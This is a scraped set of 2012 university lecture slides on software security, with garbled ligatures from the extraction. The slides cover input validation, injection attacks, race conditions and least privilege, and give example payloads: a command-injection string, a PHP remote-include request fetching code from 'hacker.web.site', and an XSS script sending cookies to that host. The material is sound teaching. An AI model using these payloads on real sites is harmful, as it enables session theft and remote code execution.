So#ware Security CS461/ECE422 Spring 2012 Reading - - PowerPoint PPT Presentation

so ware security
SMART_READER_LITE
LIVE PREVIEW

So#ware Security CS461/ECE422 Spring 2012 Reading - - PowerPoint PPT Presentation

So#ware Security CS461/ECE422 Spring 2012 Reading Material Chapter 12 of the text Outline Review common vulnerabiliDes in programs Input Checking


slide-1
SLIDE 1

So#ware ¡Security ¡

CS461/ECE422 ¡ Spring ¡2012 ¡

slide-2
SLIDE 2

Reading ¡Material ¡

  • Chapter ¡12 ¡of ¡the ¡text ¡
slide-3
SLIDE 3

Outline ¡

  • Review ¡common ¡vulnerabiliDes ¡in ¡programs ¡
  • Input ¡Checking ¡
  • Program ¡Logic ¡Errors ¡
  • Errors ¡InteracDng ¡with ¡the ¡OS ¡
  • Output ¡handling ¡
slide-4
SLIDE 4

So#ware ¡VulnerabiliDes ¡

  • Generally ¡a ¡result ¡of ¡poor ¡programming ¡
  • pracDces. ¡
  • OWASP ¡top ¡10 ¡Web ¡ApplicaDon ¡Security ¡risks ¡

– hOps://www.owasp.org/index.php/ Category:OWASP_Top_Ten_Project ¡ – A ¡good ¡number ¡are ¡developer ¡bugs ¡

¡

slide-5
SLIDE 5

Security ¡in ¡Design ¡and ¡Architecture ¡

  • Security ¡concerns ¡must ¡be ¡considered ¡up ¡front ¡
  • Security ¡impacts ¡system ¡architecture ¡ ¡

– Perhaps ¡re-­‑architect ¡to ¡ameliorate ¡security ¡ concerns ¡ – Security ¡architecture ¡can ¡be ¡used ¡to ¡drive ¡tesDng ¡ – True ¡even ¡for ¡projects ¡with ¡no ¡“security ¡features” ¡

  • Leaving ¡security ¡to ¡the ¡test ¡phase ¡(or ¡later) ¡is ¡

not ¡a ¡good ¡idea ¡to ¡say ¡the ¡least ¡

slide-6
SLIDE 6

Defensive ¡Programming ¡or ¡ ¡ Secure ¡Coding ¡

  • Mostly ¡good ¡so#ware ¡engineering ¡

– Except ¡when ¡considering ¡security ¡must ¡consider ¡a ¡ malicious ¡actor ¡ – TradiDonal ¡so#ware ¡engineering ¡concentrates ¡ dealing ¡with ¡errors ¡due ¡to ¡accidents ¡

  • Goal ¡

– ConDnued ¡funcDoning ¡of ¡so#ware ¡in ¡spite ¡of ¡ unforeseeable ¡usage ¡of ¡said ¡so#ware. ¡

  • Conflicts ¡with ¡Dme ¡to ¡market ¡
slide-7
SLIDE 7

Make ¡No ¡AssumpDons! ¡

  • Don’t ¡assume ¡the ¡user ¡won’t ¡enter ¡more ¡than ¡

512 ¡characters ¡on ¡the ¡command ¡line ¡

  • Don’t ¡that ¡there ¡will ¡always ¡be ¡enough ¡disk ¡

space ¡

  • OR ¡codify ¡and ¡enforce ¡your ¡assumpDons ¡
slide-8
SLIDE 8

Handling ¡User ¡Input ¡

  • This ¡is ¡where ¡the ¡user ¡(malicious ¡or ¡innocent) ¡

can ¡directly ¡impact ¡the ¡program ¡

– Always ¡verify ¡the ¡user ¡input ¡ – White ¡list ¡expected ¡results ¡

  • Input ¡can ¡come ¡from ¡a ¡number ¡of ¡places ¡

– Text ¡entry ¡ – ConfiguraDon ¡files ¡ – Environment ¡variables ¡ – Network ¡

slide-9
SLIDE 9

InjecDon ¡AOacks ¡

  • Error ¡in ¡input ¡handling ¡that ¡results ¡in ¡

unexpected ¡execuDon ¡flow ¡

  • O#en ¡occurs ¡in ¡scripDng ¡languages ¡

– Script ¡writer ¡expects ¡user ¡input ¡to ¡be ¡data ¡ – But ¡user ¡inputs ¡text ¡that ¡will ¡be ¡interpreted ¡as ¡ code ¡

slide-10
SLIDE 10

Unsafe ¡Perl ¡Script ¡

1 #!/usr/bin/perl 2 # finger.cgi - finger CGI script using Perl5 CGI module 3 4 use CGI; 5 use CGI::Carp qw(fatalsToBrowser); 6 $q = new CGI; # create query object 7 8 # display HTML header 9 print $q->header, 10 $q->start_html('Finger User'), 11 $q->h1('Finger User'); 12 print "<pre>"; 13 14 # get name of user and display their finger details 15 $user = $q->param("user"); 16 print `/usr/bin/finger -sh $user`; 17 18 # display HTML footer 19 print "</pre>"; 20 print $q->end_html;

slide-11
SLIDE 11

Running ¡Script ¡

  • With ¡user ¡= ¡lpb ¡
  • Finger ¡user ¡

Login ¡ ¡Name ¡ ¡ lpb ¡ ¡Lawrie ¡Brown ¡

  • With ¡user=‘xxx; ¡echo ¡aOack ¡success; ¡ls ¡finger*’ ¡
  • Finger ¡User ¡

aOack ¡success ¡ finger.cgi ¡ ¡finger.html ¡

  • Command ¡injecDon. ¡ ¡Running ¡arbitrary ¡

commands ¡at ¡the ¡privilege ¡of ¡the ¡web ¡user ¡id. ¡

slide-12
SLIDE 12

Safer ¡Script ¡

14 # get name of user and display their finger details 15 $user = $q->param("user"); 16 die "The specified user contains illegal characters!" 17 unless ($user =~ /^\w+$/); 18 print `/usr/bin/finger -sh $user`;

  • counter ¡aOack ¡by ¡validaDng ¡input ¡

– compare ¡to ¡paOern ¡that ¡rejects ¡invalid ¡input ¡ – see ¡example ¡addiDons ¡to ¡script: ¡

slide-13
SLIDE 13

SQL ¡InjecDon ¡

  • Or ¡why ¡is ¡this ¡XKCD ¡comic ¡funny ¡

– hOp://xkcd.com/327/ ¡

slide-14
SLIDE 14

SQL ¡InjecDon ¡

  • another ¡widely ¡exploited ¡injecDon ¡aOack ¡
  • when ¡input ¡used ¡in ¡SQL ¡query ¡to ¡database ¡

– similar ¡to ¡command ¡injecDon ¡ ¡ – SQL ¡meta-­‑characters ¡are ¡the ¡concern ¡ – must ¡check ¡and ¡validate ¡input ¡for ¡these ¡

$name = $_REQUEST['name']; $query = “SELECT * FROM suppliers WHERE name = '" . $name . "';" $result = mysql_query($query); $name = $_REQUEST['name']; $query = “SELECT * FROM suppliers WHERE name = '" . mysql_real_escape_string($name) . "';" $result = mysql_query($query);

slide-15
SLIDE 15

Code ¡InjecDon ¡

  • further ¡variant ¡
  • input ¡includes ¡code ¡that ¡is ¡then ¡executed ¡

– see ¡PHP ¡remote ¡code ¡injecDon ¡vulnerability ¡

  • variable ¡+ ¡global ¡field ¡variables ¡+ ¡remote ¡include ¡

– this ¡type ¡of ¡aOack ¡is ¡widely ¡exploited ¡

<?php include $path . 'functions.php'; include $path . 'data/prefs.php'; GET /calendar/embed/day.php?path=http://hacker.web.site/hack.txt?&cmd=ls

slide-16
SLIDE 16

04/10/07 ¡ 16 ¡

Cross ¡Site ¡ScripDng ¡(XSS) ¡

l Goal ¡– ¡Inject ¡malicious ¡code ¡into ¡web ¡pages ¡

viewed ¡by ¡others. ¡

  • Sites ¡that ¡allow ¡HTML ¡formaOed ¡user ¡input ¡to ¡be ¡

stored, ¡e.g. ¡Blog ¡comments, ¡wiki ¡entries. ¡

  • Enter ¡the ¡following ¡into ¡a ¡form ¡that ¡then ¡shows ¡

the ¡original ¡query ¡in ¡the ¡response. ¡

l <script>confirm("Do ¡you ¡hate ¡purple ¡dinosaurs?");</

script> ¡

slide-17
SLIDE 17

XSS ¡Example ¡

  • cf. ¡guestbooks, ¡wikis, ¡blogs ¡etc ¡
  • where ¡comment ¡includes ¡script ¡code ¡

– e.g. ¡to ¡collect ¡cookie ¡details ¡of ¡viewing ¡users ¡

  • need ¡to ¡validate ¡data ¡supplied ¡

– including ¡handling ¡various ¡possible ¡encodings ¡

  • aOacks ¡both ¡input ¡and ¡output ¡handling ¡

Thanks for this information, its great! <script>document.location='http://hacker.web.site/cookie.cgi?'+ document.cookie</script>

slide-18
SLIDE 18

Alternate ¡Encodings ¡

slide-19
SLIDE 19

Input ¡Checks ¡

  • Example ¡of ¡evading ¡input ¡checks ¡

– Samy’s ¡explanaDon ¡of ¡his ¡Myspace ¡worm ¡ – hOp://namb.la/popular/tech.html ¡

  • Canonicalize ¡input ¡before ¡performing ¡checks ¡

– Map ¡the ¡mulDple ¡versions ¡of ¡‘A’ ¡to ¡a ¡parDcular ¡value ¡

  • Issue ¡for ¡numeric ¡values ¡too ¡

– Is ¡the ¡number ¡16 ¡bits ¡or ¡32? ¡ – Signed ¡or ¡unsigned? ¡

  • NegaDve ¡number ¡or ¡large ¡posiDve ¡

¡

slide-20
SLIDE 20

Input ¡Fuzzing ¡

  • Generate ¡“random” ¡inputs ¡to ¡test ¡programs ¡

– Environment ¡variables ¡ – Input ¡strings ¡ – Network ¡values ¡

  • Could ¡be ¡completely ¡randomized ¡or ¡somewhat ¡

structured ¡

– Minifuzz ¡ – ShareFuzz ¡ – Spike ¡ – MuDynamics ¡

  • Standard ¡component ¡of ¡Microso#’s ¡So#ware ¡

Development ¡Lifecycle ¡

slide-21
SLIDE 21

More ¡Fuzz ¡-­‑ ¡SPIKE ¡

  • An ¡input ¡language ¡for ¡creaDng ¡variant ¡network ¡

packets ¡

  • From ¡WireShark ¡output, ¡make ¡it ¡easy ¡to ¡express ¡new ¡

packets ¡

– a_binary(“00 ¡01 ¡02 ¡03”) ¡ Data: ¡<00 ¡01 ¡02 ¡03> ¡ – a_block_size_big-­‑endian_word(“Blockname”); ¡ Data: ¡<00 ¡01 ¡02 ¡03 ¡00 ¡00 ¡00 ¡00> ¡ – a_block_start(“Blockname”) ¡ a_binary(“05 ¡06 ¡07 ¡08”) ¡ Data: ¡<00 ¡01 ¡02 ¡03 ¡00 ¡00 ¡00 ¡00 ¡05 ¡06 ¡07 ¡08> ¡ – a_block_end(“Blockname”); ¡ Data: ¡<00 ¡01 ¡02 ¡03 ¡00 ¡00 ¡00 ¡04 ¡05 ¡06 ¡07 ¡08> ¡

slide-22
SLIDE 22

WriDng ¡Correct/Safe ¡Code ¡

  • Is ¡your ¡algorithm ¡correct? ¡

– Incorrect ¡use ¡of ¡random ¡number ¡generators ¡

  • Bad ¡seeds ¡
  • E.g. ¡Code ¡Red ¡and ¡Netscape ¡
  • TCP ¡session ¡hijacking ¡

– How ¡random ¡is ¡the ¡sequence ¡number? ¡

  • Leaving ¡in ¡test ¡code ¡

– Used ¡by ¡Morris ¡Worm ¡

slide-23
SLIDE 23

Is ¡there ¡a ¡bug ¡in ¡the ¡compiler? ¡

  • Ken ¡Thompson ¡Trojan ¡compiler ¡example ¡
  • Required ¡for ¡higher ¡levels ¡of ¡Common ¡Criteria ¡

– Correspondence ¡of ¡design, ¡source, ¡and ¡object ¡

  • code. ¡ ¡
slide-24
SLIDE 24

Correct ¡Use ¡of ¡Memory ¡

  • Memory ¡Leak ¡

– Run ¡process ¡out ¡of ¡memory. ¡ ¡DoS ¡

  • Free/AllocaDon ¡errors ¡

– Heap ¡overflow, ¡can ¡enable ¡arbitrary ¡execuDon ¡

  • Could ¡be ¡solved ¡by ¡

– Heap ¡randomizaDon ¡ – Tools ¡to ¡track ¡heap ¡uDlizaDon ¡

  • Valgrind ¡
  • Duma ¡
slide-25
SLIDE 25

Race ¡CondiDons ¡and ¡Shared ¡Memory ¡

  • MulDple ¡threads ¡of ¡control ¡accessing ¡a ¡common ¡

memory ¡locaDon ¡

– Subtle ¡(and ¡not ¡so ¡subtle) ¡errors ¡in ¡synchronizaDon ¡ are ¡possible ¡ – MulDple ¡writers ¡ – WriDng ¡while ¡another ¡thread ¡is ¡reading ¡ – Deadlocks ¡

  • Errors ¡vary ¡from ¡invocaDon ¡to ¡invocaDon ¡
  • AOacker ¡could ¡aOempt ¡to ¡trigger ¡a ¡latent ¡

threading ¡error ¡

slide-26
SLIDE 26

Environment ¡Variables ¡

  • Another ¡way ¡for ¡the ¡program ¡to ¡get ¡input ¡

– And ¡should ¡be ¡treated ¡as ¡such ¡

  • Generally ¡set ¡up ¡for ¡the ¡user ¡

– Sysadmin ¡creates ¡a ¡profile ¡for ¡the ¡user ¡that ¡ iniDalizes ¡the ¡environment ¡

  • Environment ¡variables ¡read ¡by ¡compiled ¡

programs ¡and ¡scripted ¡program ¡ ¡

slide-27
SLIDE 27

Example ¡Vulnerable ¡Scripts ¡

  • using ¡PATH ¡or ¡IFS ¡environment ¡variables ¡
  • cause ¡script ¡to ¡execute ¡aOackers ¡program ¡with ¡privileges ¡

granted ¡to ¡script ¡

– SetUID ¡root ¡scripts ¡would ¡be ¡aOracDve ¡

  • almost ¡impossible ¡to ¡prevent ¡in ¡some ¡form ¡

– Though ¡the ¡use ¡of ¡IFS ¡has ¡been ¡restricted ¡in ¡most ¡modern ¡shells ¡

#!/bin/bash user=`echo $1 | sed 's/@.*$//'` grep $user /var/local/accounts/ipaddrs #!/bin/bash PATH=”/sbin:/bin:/usr/sbin:/usr/bin” export PATH user=`echo $1 | sed 's/@.*$//'` grep $user /var/local/accounts/ipaddrs

slide-28
SLIDE 28

Path ¡AOack ¡On ¡Libraries ¡

  • Dynamic ¡libraries ¡are ¡loaded ¡at ¡invocaDon ¡

Dme ¡

  • Loader ¡must ¡search ¡the ¡system ¡to ¡find ¡the ¡

libraries ¡needed ¡by ¡the ¡executable ¡

– LD_LIBRARY_PATH ¡ – Flexibility ¡vs ¡aOack ¡avenue ¡

slide-29
SLIDE 29

Least ¡Privilege ¡

  • Ideally ¡run ¡a ¡program ¡with ¡as ¡many ¡privileges ¡and ¡

access ¡rights ¡as ¡it ¡needs ¡but ¡no ¡more ¡

– What’s ¡the ¡hard ¡in ¡too ¡much ¡access? ¡

  • Root ¡in ¡Unix ¡
  • Web ¡servers ¡and ¡file ¡access ¡

– What ¡files ¡does ¡the ¡web ¡server ¡process ¡need ¡to ¡read? ¡ ¡ Need ¡to ¡write? ¡

  • How ¡long ¡does ¡ ¡a ¡program ¡need ¡special ¡privilege? ¡

– E.g., ¡a ¡low ¡port ¡network ¡service ¡program ¡

  • Divide ¡program ¡into ¡sets ¡of ¡processes ¡

– Move ¡the ¡privilege ¡required ¡elements ¡into ¡smaller, ¡simpler ¡ processes ¡

slide-30
SLIDE 30

System ¡Calls ¡and ¡ Standard ¡Library ¡FuncDons ¡

  • programs ¡use ¡system ¡calls ¡and ¡standard ¡

library ¡funcDons ¡for ¡common ¡operaDons ¡

– and ¡make ¡assumpDons ¡about ¡their ¡operaDon ¡ – if ¡incorrect ¡behavior ¡is ¡not ¡what ¡is ¡expected ¡may ¡ be ¡a ¡result ¡of ¡system ¡opDmizing ¡access ¡to ¡shared ¡ resources ¡

  • by ¡buffering, ¡re-­‑sequencing, ¡modifying ¡requests ¡

– can ¡conflict ¡with ¡program ¡goals ¡

slide-31
SLIDE 31

Secure ¡File ¡Shredder ¡

patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, … ]

  • pen file for writing

for each pattern seek to start of file

  • verwrite file contents with pattern

close file remove file patterns = [10101010, 01010101, 11001100, 00110011, 00000000, 11111111, … ]

  • pen file for update

for each pattern seek to start of file

  • verwrite file contents with pattern

flush application write buffers sync file system write buffers with device close file remove file

slide-32
SLIDE 32

Race ¡CondiDons ¡

  • Files ¡can ¡be ¡used ¡to ¡synchronize ¡access ¡to ¡OS ¡

resources ¡between ¡processes ¡

  • If ¡[ ¡! ¡–e ¡$file ¡] ¡

then ¡ ¡touch ¡$file ¡ else ¡ ¡ ¡ ¡ ¡ ¡ ¡echo ¡“You ¡don’t ¡have ¡the ¡lock” ¡ fi ¡

  • Time ¡of ¡check ¡to ¡Dme ¡of ¡use ¡(TOCTOU) ¡
slide-33
SLIDE 33

Temporary ¡Files ¡

  • Many ¡programs ¡create ¡temporary ¡

intermediate ¡files ¡

– Can ¡create ¡unique ¡names ¡based ¡on ¡process ¡id ¡ – How ¡could ¡an ¡aOacker ¡leverage ¡this? ¡

  • do ¡{ ¡

¡ ¡ ¡filename ¡= ¡tempnam(NULL, ¡“foo”); ¡ ¡ ¡ ¡fd ¡= ¡open(filename, ¡….) ¡ ¡ ¡ ¡free(filename); ¡ } ¡while ¡(fd ¡== ¡-­‑1); ¡

slide-34
SLIDE 34

Output ¡Checking ¡

  • Example ¡1 ¡

– AcDve ¡display ¡

  • VT100 ¡command ¡characters ¡
  • Or ¡X-­‑terminal ¡display ¡hijack ¡
  • Example ¡2 ¡

– Cross ¡Site ¡ScripDng ¡

  • Generate ¡display ¡from ¡stored ¡data ¡
  • Data ¡is ¡interpreted ¡as ¡command ¡
slide-35
SLIDE 35

Summary ¡

  • Useful ¡to ¡look ¡at ¡common ¡so#ware ¡

vulnerabiliDes ¡

– Know ¡common ¡issues ¡to ¡avoid ¡going ¡forward ¡

  • Even ¡more ¡important ¡to ¡consider ¡security ¡in ¡

the ¡design ¡architecture ¡

– More ¡likely ¡to ¡catch/avoid ¡problems ¡if ¡you ¡think ¡ from ¡the ¡security ¡perspecDve ¡up ¡front ¡ – Someone ¡will ¡be ¡thinking ¡from ¡the ¡security ¡ perspecDve ¡eventually ¡